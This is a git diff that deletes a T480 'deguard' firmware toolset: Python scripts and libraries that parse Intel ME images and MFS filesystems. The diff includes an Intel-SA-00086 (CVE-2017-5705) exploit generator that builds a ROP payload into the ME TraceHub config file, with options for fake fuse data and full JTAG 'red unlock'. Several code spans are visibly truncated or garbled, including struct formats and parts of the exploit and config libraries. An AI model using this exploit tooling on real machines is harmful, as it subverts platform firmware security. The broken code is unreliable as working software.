that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License along - with this program; if not, write to the Free Software Foundation, Inc., - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - -Also add information on how to contact you by electronic and paper mail. - -If the program is interactive, make it output a short notice like this -when it starts in an interactive mode: - - Gnomovision version 69, Copyright (C) year name of author - Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, the commands you use may -be called something other than `show w' and `show c'; they could even be -mouse-clicks or menu items--whatever suits your program. - -You should also get your employer (if you work as a programmer) or your -school, if any, to sign a "copyright disclaimer" for the program, if -necessary. Here is a sample; alter the names: - - Yoyodyne, Inc., hereby disclaims all copyright interest in the program - `Gnomovision' (which makes passes at compilers) written by James Hacker. - - , 1 April 1989 - Ty Coon, President of Vice - -This General Public License does not permit incorporating your program into -proprietary programs. If your program is a subroutine library, you may -consider it more useful to permit linking proprietary applications with the -library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. diff --git a/blobs/t480/deguard/doc/LICENSE.orig b/blobs/t480/deguard/doc/LICENSE.orig deleted file mode 100644 index ac6be728b..000000000 --- a/blobs/t480/deguard/doc/LICENSE.orig +++ /dev/null @@ -1,17 +0,0 @@ -License for MFSUtil (CFG.py, MFS.py, MFSUtil.py) - -Copyright 2019 Youness El Alaoui - -Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. - -License for original exploit generator (me_exp_bxtp_me11.py): - -Copyright (c) 2018 Mark Ermolov, Maxim Goryachy at Positive Technologies - -Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/blobs/t480/deguard/finalimage.py b/blobs/t480/deguard/finalimage.py deleted file mode 100755 index c77f5f4f2..000000000 --- a/blobs/t480/deguard/finalimage.py +++ /dev/null @@ -1,111 +0,0 @@ -#!/usr/bin/python3 -# SPDX-License-Identifier: GPL-2.0-only - -import argparse -import os -from lib.exploit import GenerateShellCode -from lib.image import parse_ifd_or_me -from lib.mfs import INTEL_IDX, FITC_IDX, HOME_IDX, MFS -from lib.cfg import CFG - -def generate_fitc_from_intel_and_delta(intel_cfg, delta_dir): - # Create empty fitc.cfg - fitc_cfg = CFG() - - for intel_file in intel_cfg.files: - # Copy over directory - if intel_file.isDirectory(): - fitc_cfg.addFile(intel_file.path, intel_file.data, - intel_file.record.mode, intel_file.record.opt, - intel_file.record.uid, intel_file.record.gid) - continue - - # Skip non-overridable file - if (intel_file.record.opt & 1) == 0: - continue - - # Look for file in the delta - delta_path = os.path.join(delta_dir, intel_file.path.lstrip("/")) - if os.path.isfile(delta_path): - # Create modified overridable file from delta - with open(delta_path, "rb") as f: - fitc_cfg.addFile(intel_file.path, f.read(), - intel_file.record.mode, intel_file.record.opt, - intel_file.record.uid, intel_file.record.gid) - else: - # Copy over unmodified overridable file - fitc_cfg.addFile(intel_file.path, intel_file.data, - intel_file.record.mode, intel_file.record.opt, - intel_file.record.uid, intel_file.record.gid) - - return fitc_cfg - -def apply_exploit_to_fitc(fitc_cfg, version, pch, sku, fake_fpfs, red_unlock): - # Make sure End-Of-Manufacturing is off - fitc_cfg.removeFile("/home/mca/eom") - fitc_cfg.addFile("/home/mca/eom", b"\x00", CFG.strToMode(' --Irw-r-----'), CFG.strToOpt('?!-F'), 0, 238) - - # Generate TraceHub configuration file with exploit payload - ct_payload = GenerateShellCode(version, pch, sku, fake_fpfs, red_unlock) - # Add TraceHub configuration file - fitc_cfg.removeFile("/home/bup/ct") - fitc_cfg.addFile("/home/bup/ct", ct_payload, CFG.strToMode(' ---rwxr-----'), CFG.strToOpt('?--F'), 3, 351) - -def add_fitc_to_sysvol(sysvol, fitc_data): - # Delete original fitc.cfg - sysvol.removeFile(FITC_IDX) - # Delete home partition (we want all data to come from the new fitc.cfg) - sysvol.removeFile(HOME_IDX) - # Insert new fitc.cfg - # NOTE: optimize=False is required to break up continous chunks, - # which causes the vulnerable code to perform multiple reads. - sysvol.addFile(FITC_IDX, fitc_data, optimize=False) - -parser = argparse.ArgumentParser() -parser.add_argument("--input", required=True, help="Donor image (either full with IFD or just ME)") -parser.add_argument("--output", required=True, help="Output ME image") -parser.add_argument("--delta", required=True, help="MFS delta directory") -parser.add_argument('--version', required=True, help='Donor ME version') -parser.add_argument('--pch', required=True, help='PCH type') -parser.add_argument('--sku', metavar='', help='ME SKU', required=True) -parser.add_argument('--fake-fpfs', help='replace SRAM copy of FPFs with the provided data') -parser.add_argument('--red-unlock', help='allow full JTAG access to the entire platform', action='store_true') -args = parser.parse_args() - -# Get ME from input image -with open(args.input, "rb") as f: - me = parse_ifd_or_me(f.read()) - -# Make sure delta directory exists -if not os.path.isdir(args.delta): - raise ValueError(f"Delta directory {args.delta} not found") - -# Read FPF data -fake_fpfs = None -if args.fake_fpfs: - with open(args.fake_fpfs, "rb") as f: - fake_fpfs = f.read() - -# Parse MFS and get its system volume -mfs = MFS(me.entry_data("MFS")) -sysvol = mfs.getSystemVolume() - -# Read intel.cfg -intel_cfg = CFG(sysvol.getFile(INTEL_IDX).data) - -# Generate fitc.cfg -fitc_cfg = generate_fitc_from_intel_and_delta(intel_cfg, args.delta) -# Modify fitc.cfg with exploit -apply_exploit_to_fitc(fitc_cfg, args.version, args.pch, args.sku, fake_fpfs, args.red_unlock) -# Re-generate fitc.cfg -fitc_cfg.generate(alignment=2) - -# Write fitc.cfg -add_fitc_to_sysvol(sysvol, fitc_cfg.data) -# Re-generate MFS -mfs.generate() -# Write MFS to ME image -me.write_entry_data("MFS", mfs.data) -# Write out ME image -with open(args.output, "wb") as f: - f.write(me.data) diff --git a/blobs/t480/deguard/gen_shellcode.py b/blobs/t480/deguard/gen_shellcode.py deleted file mode 100755 index 1d8fbfbe8..000000000 --- a/blobs/t480/deguard/gen_shellcode.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/python3 -# SPDX-License-Identifier: GPL-2.0-only - -import argparse -from lib.exploit import GenerateShellCode - -parser = argparse.ArgumentParser(description="Intel-SA-00086 (CVE-2017-5705) exploit generator for ME 11.x.x.x") -parser.add_argument('-o', '--output', metavar='', help='output file path', required=True) -parser.add_argument('-v', '--version', metavar='', help='ME version', required=True) -parser.add_argument('-p', '--pch', metavar='', help='PCH type', required=True) -parser.add_argument('-s', '--sku', metavar='', help='ME SKU', required=True) -parser.add_argument('--fake-fpfs', metavar='', help='replace SRAM copy of FPFs with the provided data') -parser.add_argument('--red-unlock', help='allow full JTAG access to the entire platform', action='store_true') -args = parser.parse_args() - -fake_fpfs = None -if args.fake_fpfs: - with open(args.fake_fpfs, "rb") as f: - fake_fpfs = f.read() - -data = GenerateShellCode(args.version, args.pch, args.sku, fake_fpfs, args.red_unlock) - -with open(args.output, "wb") as f: - f.write(data) diff --git a/blobs/t480/deguard/generatedelta.py b/blobs/t480/deguard/generatedelta.py deleted file mode 100755 index 9153d61ba..000000000 --- a/blobs/t480/deguard/generatedelta.py +++ /dev/null @@ -1,76 +0,0 @@ -#!/usr/bin/python3 -# SPDX-License-Identifier: GPL-2.0-only - -import argparse -import os -from lib.image import parse_ifd_or_me -from lib.mfs import INTEL_IDX, FITC_IDX, HOME_IDX, MFS -from lib.cfg import CFG - -def delta_from_fitc_cfg(overridable, fitc_files, output): - if set(fitc_files.keys()).difference(overridable.keys()) != set(): - raise ValueError("fitc.cfg contains unexpected data, please report this for investigation") - # Iterate overridable paths from intel.cfg - for path, intel_file in overridable.items(): - # Skip dirs - if intel_file.isDirectory(): - continue - # Skip files not in fitc - if path not in fitc_files: - continue - fitc_file = fitc_files[path] - if intel_file.data != fitc_file.data: - # Write out differing file to delta - filepath = os.path.join(output, path.lstrip("/")) - os.makedirs(os.path.dirname(filepath), exist_ok=True) - with open(filepath, "wb") as f: - f.write(fitc_file.data) - -def delta_from_home(overridable, home_files, output): - # Iterate overridable paths from intel.cfg - for path, intel_file in overridable.items(): - # Skip dirs - if intel_file.isDirectory(): - continue - # Skip files not in /home - if path not in home_files: - continue - if intel_file.data != home_files[path]: - # Write out differing file to delta - filepath = os.path.join(output, path.lstrip("/")) - os.makedirs(os.path.dirname(filepath), exist_ok=True) - with open(filepath, "wb") as f: - f.write(home_files[path]) - -parser = argparse.ArgumentParser() -parser.add_argument("--input", required=True, help="Input vendor image (either full with IFD or just ME)") -parser.add_argument("--output", required=True, help="Output MFS delta directory") -args = parser.parse_args() - -# Get ME from input image -with open(args.input, "rb") as f: - me = parse_ifd_or_me(f.read()) - -# Parse MFS and get its system volume -mfs = MFS(me.entry_data("MFS")) -sysvol = mfs.getSystemVolume() - -# Lookup table of directories and overridable paths in intel.cfg -intel_cfg = CFG(sysvol.getFile(INTEL_IDX).data) -overridable = { file.path: file for file in intel_cfg.files \ - if file.isDirectory() or (file.record.opt & 1) != 0 } - -fitc = sysvol.getFile(FITC_IDX) - -if fitc: - # We have a fitc.cfg, so compute delta from that - fitc_cfg = CFG(fitc.data) - fitc_files = { file.path: file for file in fitc_cfg.files } - delta_from_fitc_cfg(overridable, fitc_files, args.output) -else: - # If there is no fitc we must have a /home - if not sysvol.getFile(HOME_IDX): - raise Error("MFS has no fitc.cfg or home directory, please provide an image with valid config data") - # Build lookup table from files in home in /home - home_files = { path: data for path, data in sysvol.listDir(HOME_IDX, True, "/home") } - delta_from_home(overridable, home_files, args.output) diff --git a/blobs/t480/deguard/lib/cfg.py b/blobs/t480/deguard/lib/cfg.py deleted file mode 100644 index 050782109..000000000 --- a/blobs/t480/deguard/lib/cfg.py +++ /dev/null @@ -1,272 +0,0 @@ -# SPDX-License-Identifier: GPL-2.0-only -# This code is based on MFSUtil by Youness Alaoui (see `doc/LICENSE.orig` for original copyright) - -import posixpath -import struct -from functools import cmp_to_key - -def cmp(a, b): - return (a > b) - (a < b) - -class CFGAlignment: - ALIGN_NONE = 0 - ALIGN_START = 1 - ALIGN_END = 2 - -class CFG(object): - CFG_FMT = struct.Struct(" 1 - file = self.getFile(posixpath.join(*path)) - assert file and file.isDirectory() - assert file.record.mode == record.mode - path.pop() - else: - file = CFGFile(posixpath.join(*path + [record.name]), record, self.data, parent) - self.files.append(file) - if record.isDirectory(): - path.append(record.name) - parent = self.getFile(posixpath.join(*path)) - self.records.append(record) - - def getFile(self, path): - for file in self.files: - if file.path == path: - return file - return None - - def removeFile(self, path, recursive = False): - file = self.getFile(path) - if file: - if len(file.children) > 0 and not recursive: - return False - # Copy list of children since we're modifying the list - for child in file.children[:]: - self.removeFile(child.path, recursive) - self.files.remove(file) - if file.parent: - file.parent.removeChild(file) - return True - else: - return False - - def addFile(self, path, data, mode, opt, uid, gid): - # Make sure it doesn't already exists - file = self.getFile(path) - if file: - raise ValueError(f"CFG path {path} already exists") - - directory = False - (parent_path, filename) = posixpath.split(path) - - if filename == "": - directory = True - (parent_path, filename) = posixpath.split(parent_path) - - # Make sure parent exists if it is not the root - parent = self.getFile(parent_path) - if parent_path != "/"and parent is None: - raise ValueError(f"CFG path {path} already exists") - - record = CFGRecord.createRecord(filename, mode, opt, uid, gid, len(data), 0) - file = CFGFile(path, record, data, parent) - self.files.append(file) - - def generate(self, alignment): - self.records = [] - file_data = b"" - if len(self.files) > 0: - (self.records, file_data) = self.files[0].generateRecords(alignment=alignment) - self.num_records = len(self.records) - self.data = self.CFG_FMT.pack(self.num_records) - data_offset = len(self.data) + CFGRecord.RECORD_FMT.size * self.num_records - alignment_data = b"" - if alignment != CFGAlignment.ALIGN_NONE: - alignment_extra = data_offset % 0x40 - if alignment_extra > 0: - alignment_data += struct.pack("> i): - ret += modeStr[i] - else: - ret += "-" - return ret - - @staticmethod - def strToMode(str): - modeStr = "dAEIrwxrwxrwx" - assert len(str) == len(modeStr) - mode = 0 - for i in range(13): - if str[i] == modeStr[i]: - mode |= (0x1000 >> i) - else: - assert str[i] == '-' or str[i] == ' ' - return mode - - @staticmethod - def optToStr(opt): - assert opt & 0xFFF0 == 0 - optStr = "?!MF" - ret = "" - for i in range(4): - if opt & (8 >> i): - ret += optStr[i] - else: - ret += "-" - return ret - - @staticmethod - def strToOpt(str): - optStr = "?!MF" - assert len(str) == len(optStr) - opt = 0 - for i in range(4): - if str[i] == optStr[i]: - opt |= (8 >> i) - else: - assert str[i] == '-' or str[i] == ' ' - return opt - -class CFGRecord(object): - RECORD_FMT = struct.Struct("<12sHHHHHHL") - - def __init__(self, data, index): - offset = CFG.CFG_FMT.size + self.RECORD_FMT.size * index - self.data = data[offset:offset + self.RECORD_FMT.size] - (self.name, zero, self.mode, self.opt, self.size, - self.uid, self.gid, self.offset) = self.RECORD_FMT.unpack(self.data) - self.name = self.name.decode('utf-8') - self.name = self.name.strip('\0') - if self.name == "..": - assert self.isDirectory() - assert self.opt == 0 - if self.isDirectory(): - assert self.size == 0 - - def isDirectory(self): - return self.mode & 0x1000 == 0x1000 - - def generate(self): - self.data = CFGRecord.RECORD_FMT.pack(self.name.encode("utf-8"), 0, self.mode, self.opt, - self.size, self.uid, self.gid, self.offset) - - @staticmethod - def createRecord(name, mode, opt, uid, gid, size, offset): - data = b'\0' * CFG.CFG_FMT.size + \ - CFGRecord.RECORD_FMT.pack(name.encode("utf-8"), 0, mode, opt, size, uid, gid, offset) - return CFGRecord(data, 0) - - def copy(self): - return self.createRecord(self.name, self.mode, self.opt, self.uid, self.gid, self.size, self.offset) - - def __str__(self): - return "%-12s (%04X:%04X) [%4d bytes @ %8X] %s _ %s" % (self.name, self.uid, self.gid, - self.size, self.offset, CFG.modeToStr(self.mode), CFG.optToStr(self.opt)) - -class CFGFile(object): - def __init__(self, path, record, data, parent=None): - self.path = path - self.record = record - self.data = data[record.offset:record.offset + record.size] - self.parent = parent - self.children = [] - if parent: - parent.addChild(self) - - @property - def size(self): - return self.record.size - - def isDirectory(self): - return self.record.isDirectory() - - def addChild(self, child): - assert self.isDirectory() - self.children.append(child) - self.children.sort(key=cmp_to_key(CFGFile.__cmp__)) - - def removeChild(self, child): - assert self.isDirectory() and child in self.children - self.children.remove(child) - - def generateRecords(self, data = b"", alignment=CFGAlignment.ALIGN_NONE): - self.record.size = 0 if self.isDirectory() else self.size - self.record.offset = 0 if self.isDirectory() else len(data) - records = [self.record] - if self.isDirectory(): - for child in self.children: - (sub_records, new_data) = child.generateRecords(data, alignment) - records += sub_records - data = new_data - - dotdot = self.record.copy() - dotdot.name = '..' - dotdot.opt = 0 - records.append(dotdot) - else: - alignment_extra = 0 - if alignment == CFGAlignment.ALIGN_START: - alignment_extra = self.record.offset % 0x40 - elif self.record.size != 0 and alignment == CFGAlignment.ALIGN_END: - alignment_extra = (self.record.offset + self.record.size) % 0x40 - if alignment_extra > 0: - data += struct.pack(" pointing to valid descriptors below -# shared mem descriptors with address of memcpy_s ret address -# up to 0x380 with syslib context pointing up -# chunk with pointers to ROP address - -def GenerateShellCode(version, pch, sku, fake_fpfs, red_unlock): - me_info = None - for info in ME_INFOS: - if info.ME_VERSION == version and info.PCH_TYPE == pch and info.ME_SKU == sku: - me_info = info - break - - if me_info is None: - raise ValueError("Cannot find required information for ME version, PCH type, and ME SKU.") - - # Add ROPs - data, rops_start = GenerateRops(me_info, fake_fpfs, red_unlock) - if data is None: - return None - - # Create syslib context and add it to the data - syslib_ctx_addr = me_info.BUFFER_ADDRESS + len(data) - (syslib_ctx, syslib_ctx_addr) = GenerateSyslibCtx(me_info, syslib_ctx_addr) - data += syslib_ctx - - # Create TLS structure - tls = struct.pack(" me_info.BUFFER_OFFSET: - raise ValueError("Too much data in the ROPs, cannot fit payload within 0x%X bytes" % me_info.BUFFER_OFFSET) - - # Add padding and add TLS at the end of the buffer - data += struct.pack("len(data): - return None - return struct.unpack("len(data): - return None - return struct.unpack("> bf[0] & bf[1] - -class IFDRegion(Enum): - IFD = 0 - BIOS = 1 - ME = 2 - GBE = 3 - PD = 4 - EC = 8 - -class IFDImage: - MAGIC_OFF = 0x10 - MAGIC = 0x0FF0A55A - - FLMAP0_OFF = 0x14 - FLMAP0_FRBA = (16, 0xff) - - FLREGN_BASE = (0, 0x7fff) - FLREGN_LIMIT = (16, 0x7fff) - - def __init__(self, data): - self.data = bytearray(data) - - # Verify magic - if dword_le(self.data, self.MAGIC_OFF) != self.MAGIC: - raise ValueError("Invalid IFD magic") - - # Find base address of regions - flmap0 = dword_le(self.data, self.FLMAP0_OFF) - frba = ex(flmap0, self.FLMAP0_FRBA) << 4 - - # Parse regions - self.regions = {} - for region in IFDRegion: - flregN = dword_le(self.data, frba + 4 * region.value) - base = ex(flregN, self.FLREGN_BASE) - limit = ex(flregN, self.FLREGN_LIMIT) - if base == 0x7fff and limit == 0x0000: # Unused region - continue - self.regions[region] = (base << 12, limit << 12 | 0xfff) - - def __str__(self): - return "\n".join(f" {region.name:<4} {extent[0]:08x}-{extent[1]:08x}" \ - for region, extent in self.regions.items()) - - def region_data(self, region): - if region not in self.regions: - raise ValueError(f"IFD region {region} not present") - base, limit = self.regions[region] - return self.data[base:limit] - -class MeImage: - HEADER_OFF = 0x10 - - MARKER_OFF = 0x10 - MARKER = b"$FPT" - - NUMENT_OFF = 0x14 - HDRLEN_OFF = 0x20 - HDRSUM_OFF = 0x21 - - ENTRY_OFF = 0x30 - ENTRY_SIZE = 0x20 - - def __init__(self, data): - self.data = bytearray(data) - - # Verify magic and checksum - if self.data[self.MARKER_OFF:self.MARKER_OFF+4] != self.MARKER: - raise ValueError("Invalid $FPT magic") - if sum(self.data[self.HEADER_OFF:self.data[self.HDRLEN_OFF]]) != 0: - raise ValueError("Invalid $FPT checksum") - - # Parse entries - self.entries = {} - for idx in range(self.data[self.NUMENT_OFF]): - off = self.ENTRY_OFF + idx * self.ENTRY_SIZE - name, _, offset, length, _, _, _, flags = struct.unpack("<4sIIIIIII", \ - self.data[off:off+self.ENTRY_SIZE]) - self.entries[name.strip(b"\0").decode()] = (offset, length, flags) - - def __str__(self): - return "\n".join(f" {name:<4} {entry[0]:08x}-{entry[1]:08x} {entry[2]:08x}" \ - for name, entry in self.entries.items()) - - def entry_data(self, name): - if name not in self.entries: # No entry - raise ValueError(f"Unknown $FPT entry {name}") - offset, length, flags = self.entries[name] - if flags & 0xff00_0000 != 0: # Invalid entry - raise ValueError(f"Invalid $FPT entry {name}") - return self.data[offset:offset+length] - - def write_entry_data(self, name, data): - if name not in self.entries: # No entry - raise ValueError(f"Unknown $FPT entry {name}") - offset, length, flags = self.entries[name] - if flags & 0xff00_0000 != 0: # Invalid entry - raise ValueError(f"Invalid $FPT entry {name}") - if len(data) != length: - raise ValueError(f"Wrong data length") - self.data[offset:offset+length] = data - -def parse_ifd_or_me(data): - try: - # Try parse as full image - ifd_image = IFDImage(data) - return MeImage(ifd_image.region_data(IFDRegion.ME)) - except: - # Assume it is just an ME - return MeImage(data) diff --git a/blobs/t480/deguard/lib/mfs.py b/blobs/t480/deguard/lib/mfs.py deleted file mode 100644 index 9dee71bca..000000000 --- a/blobs/t480/deguard/lib/mfs.py +++ /dev/null @@ -1,508 +0,0 @@ -# SPDX-License-Identifier: GPL-2.0-only -# This code is based on MFSUtil by Youness Alaoui (see `doc/LICENSE.orig` for original copyright) - -import struct -from functools import cmp_to_key - -INTEL_IDX = 6 # Default configuration -FITC_IDX = 7 # Vendor configuration -HOME_IDX = 8 # Runtime ME data - -def cmp(a, b): - return (a > b) - (a < b) - -class MFS(object): - PAGE_SIZE = 0x2000 # Page size is 8K - CHUNK_SIZE = 0x40 # Chunk size is 64 bytes - CHUNK_CRC_SIZE = 2 # Size of CRC16 - CHUNKS_PER_DATA_PAGE = 122 # 122 chunks per Data page - CHUNKS_PER_SYSTEM_PAGE = 120 # 120 chunks per System page - - CRC8TabLo = bytearray([0, 7, 14, 9, 28, 27, 18, 21, 56, 63, 54, 49, 36, 35, 42, 45]) - CRC8TabHi = bytearray([0, 112, 224, 144, 199, 183, 39, 87, 137, 249, 105, 25, 78, 62, 174, 222]) - CRC16Tab = [0]*256 - for i in range(256): - r = i << 8 - for j in range(8): r = (r << 1) ^ (0x1021 if r & 0x8000 else 0) - CRC16Tab[i] = r & 0xFFFF - - def __init__(self, data): - self.data = data - self.size = len(self.data) - assert self.size % self.PAGE_SIZE == 0 - - self.num_pages = self.size // self.PAGE_SIZE # Total number of pages - self.num_sys_pages = self.num_pages // 12 # Number of System pages - self.num_data_pages = self.num_pages - self.num_sys_pages - 1 # Number of Data pages - self.capacity = self.num_data_pages * self.CHUNKS_PER_DATA_PAGE * self.CHUNK_SIZE - - self.data_pages = [] - self.sys_pages = [] - self.to_be_erased = None - for page in range(self.num_pages): - page = MFSPage(self.data[page * self.PAGE_SIZE:(page + 1) * self.PAGE_SIZE], page) # Load page - if page.isToBeErased(): - assert self.to_be_erased == None - self.to_be_erased = page - elif page.isSystemPage(): - self.sys_pages.append(page) - else: - self.data_pages.append(page) - - assert self.num_sys_pages == len(self.sys_pages) - assert self.num_data_pages == len(self.data_pages) - - self.sys_pages.sort(key=cmp_to_key(MFSPage.__cmp__)) - self.data_pages.sort(key=cmp_to_key(MFSPage.__cmp__)) - - self.system_volume = MFSSystemVolume(self.sys_pages, self.data_pages) - - - def getSystemVolume(self): - return self.system_volume - - def generate(self): - for sys_page in self.sys_pages: - sys_page.resetChunks() - for data_page in self.data_pages: - data_page.resetChunks() - - self.system_volume.generate() - system_chunks = self.system_volume.generateChunks() - for i in range(0, len(self.sys_pages)): - chunks = system_chunks[i * MFS.CHUNKS_PER_SYSTEM_PAGE: (i+1) * MFS.CHUNKS_PER_SYSTEM_PAGE] - self.sys_pages[i].setChunks(chunks) - self.sys_pages[i].generate() - - for file in self.system_volume.iterateFiles(): - chunks = file.generateChunks() - for chunk in chunks: - data_page_idx = (chunk.id - self.system_volume.total_chunks) // MFS.CHUNKS_PER_DATA_PAGE - self.data_pages[data_page_idx].addChunk(chunk) - for data_page in self.data_pages: - data_page.generate() - self.data = b"" - for sys_page in self.sys_pages: - self.data += sys_page.data - for data_page in self.data_pages: - self.data += data_page.data - self.data += self.to_be_erased.data - - def __str__(self): - res = f"Pages : {self.num_pages} ({self.num_sys_pages} System && {self.num_data_pages} Data)\nSystem Pages:\n" - for i in range(self.num_sys_pages): - res += f" {i}: {self.sys_pages[i]}\n" - res += "Data Pages:\n" - for i in range(self.num_data_pages): - res += f" {i}: {self.data_pages[i]}\n" - res += f"\nSystem Volume : \n{self.system_volume}" - return res - - @staticmethod - def CrcIdx(w, crc=0x3FFF): - for b in bytearray(struct.pack("> 8)] ^ (crc << 8)) & 0x3FFF - return crc - - @staticmethod - def Crc16(ab, crc=0xFFFF): - for b in bytearray(ab): - crc = (MFS.CRC16Tab[b ^ (crc >> 8)] ^ (crc << 8)) & 0xFFFF - return crc - - @staticmethod - def Crc8(ab): - csum = 1 - for b in bytearray(ab): - b ^= csum - csum = MFS.CRC8TabLo[b & 0xF] ^ MFS.CRC8TabHi[b >> 4] - return csum - -class MFSPage(object): - PAGE_HEADER_FMT = struct.Struct("= self.first_chunk and \ - id < self.first_chunk + MFS.CHUNKS_PER_DATA_PAGE: - return self.chunks[id - self.first_chunk] - return None - - def resetChunks(self): - if self.isSystemPage(): - self.chunks = [] - else: - self.chunks = [None] * MFS.CHUNKS_PER_DATA_PAGE - - def setChunks(self, chunks): - self.chunks = chunks - - def addChunk(self, chunk): - id = chunk.id - assert self.isDataPage() and \ - id >= self.first_chunk and \ - id < self.first_chunk + MFS.CHUNKS_PER_DATA_PAGE - self.chunks[id - self.first_chunk] = chunk - - def generate(self): - data = self.PAGE_HEADER_FMT.pack(self.signature, self.USN, self.num_erase, self.next_erase, - self.first_chunk, 0, 0) - crc = MFS.Crc8(data[:-2]) - data = self.PAGE_HEADER_FMT.pack(self.signature, self.USN, self.num_erase, self.next_erase, - self.first_chunk, crc, 0) - if self.isSystemPage(): - assert len(self.chunks) <= MFS.CHUNKS_PER_SYSTEM_PAGE - chunk_ids = [] - last_chunk_id = 0 - for i, chunk in enumerate(self.chunks): - chunk_ids.append(MFS.CrcIdx(last_chunk_id) ^ chunk.id) - last_chunk_id = chunk.id - if len(self.chunks) == MFS.CHUNKS_PER_SYSTEM_PAGE or len(self.chunks) == 0: - chunk_ids.append(0xFFFF) - else: - # Use case of exactly 120 chunks in the last system page... - chunk_ids.append(0x7FFF) - chunk_ids += [0xFFFF] * (MFS.CHUNKS_PER_SYSTEM_PAGE - len(self.chunks)) - assert len(chunk_ids) == MFS.CHUNKS_PER_SYSTEM_PAGE + 1 - data += self.SYSTEM_PAGE_INDICES_FMT.pack(*chunk_ids) - for chunk in self.chunks: - data += chunk.getRawData() - data += b'\xFF' * ((MFS.CHUNKS_PER_SYSTEM_PAGE - len(self.chunks)) * \ - (MFS.CHUNK_SIZE + MFS.CHUNK_CRC_SIZE) + 0xC) - else: - assert len(self.chunks) == MFS.CHUNKS_PER_DATA_PAGE - data_free = [] - for i, chunk in enumerate(self.chunks): - if chunk: - assert chunk.id == self.first_chunk + i - data_free.append(0) - else: - data_free.append(0xFF) - data += self.DATA_PAGE_INDICES_FMT.pack(*data_free) - for i, chunk in enumerate(self.chunks): - if chunk: - data += chunk.getRawData() - else: - data += b"\xFF" * (MFS.CHUNK_SIZE + MFS.CHUNK_CRC_SIZE) - assert len(data) == MFS.PAGE_SIZE - self.data = data - - def __cmp__(self, other): - assert self.signature == other.signature and not self.isToBeErased() - assert self.isSystemPage() == other.isSystemPage() - if self.isSystemPage(): - return cmp(self.USN, other.USN) - else: - return cmp(self.first_chunk, other.first_chunk) - - def __str__(self): - if self.isToBeErased(): - return "ToBeErased" - if self.isSystemPage(): - chunk_ids = set() - for i in range(len(self.chunks)): - chunk_ids.add(str(self.chunks[i].id)) - chunk_ids = list(chunk_ids) - chunk_ids.sort() - res = "System-%d (USN: 0x%X): %s" % (self.page_id, self.USN, ", ".join(chunk_ids)) - else: - res = "Data-%d: %X" % (self.page_id, self.first_chunk) - return res - - def __repr__(self): - return str(self) - -class MFSChunk(object): - def __init__(self, data, chunk_id, raw=True): - self.chunk_id = chunk_id - if raw: - assert len(data) == MFS.CHUNK_SIZE + 2 - self.data = data[:-2] - self.crc, = struct.unpack(" 0: - data_chunk_idx = chain - self.num_files - page_idx = data_chunk_idx // MFS.CHUNKS_PER_DATA_PAGE - chunk = data_pages[page_idx].getChunk(self.total_chunks + data_chunk_idx) - next_chain = self.data_ids[data_chunk_idx] - size = MFS.CHUNK_SIZE if next_chain > MFS.CHUNK_SIZE else next_chain - self.files[id].addChunk(chunk, size) - if next_chain <= MFS.CHUNK_SIZE: - break - chain = next_chain - - @property - def numFiles(self): - return self.num_files - - def getFile(self, id): - if id >= 0 and id <= self.num_files: - return self.files[id] - return None - - def iterateFiles(self): - for id in range(self.num_files): - if self.files[id]: - yield self.files[id] - - def removeFile(self, id): - if id < 0 or id > self.num_files: - return - file = self.files[id] - if file is None: - return - self.files[id] = None - chain = self.file_ids[id] - self.file_ids[id] = 0 - while chain > MFS.CHUNK_SIZE: - next_chain = self.data_ids[chain - self.num_files] - self.data_ids[chain - self.num_files] = 0 - chain = next_chain - - def addFile(self, id, data, optimize=True): - self.removeFile(id) - file = MFSFile(id) - size = len(data) - data_chain = [] - for offset in range(0, size, MFS.CHUNK_SIZE): - if optimize: - chain = self.getNextFreeDataChunk() - else: - chain = self.getLastFreeDataChunk() - if chain == -1: - # If not enough space, free previously set chains - for chain in data_chain: - self.data_ids[chain] = 0 - return False - file.addData(self.total_chunks + chain, data[offset:offset+MFS.CHUNK_SIZE]) - if len(data_chain) > 0: - self.data_ids[data_chain[-1]] = chain + self.num_files - data_chain.append(chain) - self.data_ids[chain] = size - offset - if len(data_chain) > 0: - self.file_ids[id] = data_chain[0] + self.num_files - else: - # Empty file - self.file_ids[id] = 0xFFFF - self.files[id] = file - - def getNextFreeDataChunk(self): - for i, chain 